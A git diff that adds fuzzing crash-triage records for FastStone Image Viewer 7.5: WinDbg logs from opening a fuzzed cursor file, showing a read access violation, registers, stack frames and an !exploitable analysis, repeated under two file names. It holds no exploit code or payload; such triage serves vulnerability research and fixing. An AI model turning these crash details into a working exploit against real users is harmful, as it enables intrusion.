100644 index 0000000..91725f3 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..cd42562 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x198C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x198C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(198c.dd0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f37b10 edx=00003879 esi=12738f10 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.551e+029 -0.0754187 2.74582e-027 3.0951e+030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003eb000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003eb000 99b810fe 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003eb000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..cd42562 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/18634/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x198C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x198C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(198c.dd0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f37b10 edx=00003879 esi=12738f10 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.551e+029 -0.0754187 2.74582e-027 3.0951e+030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003eb000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003eb000 99b810fe 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003eb000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 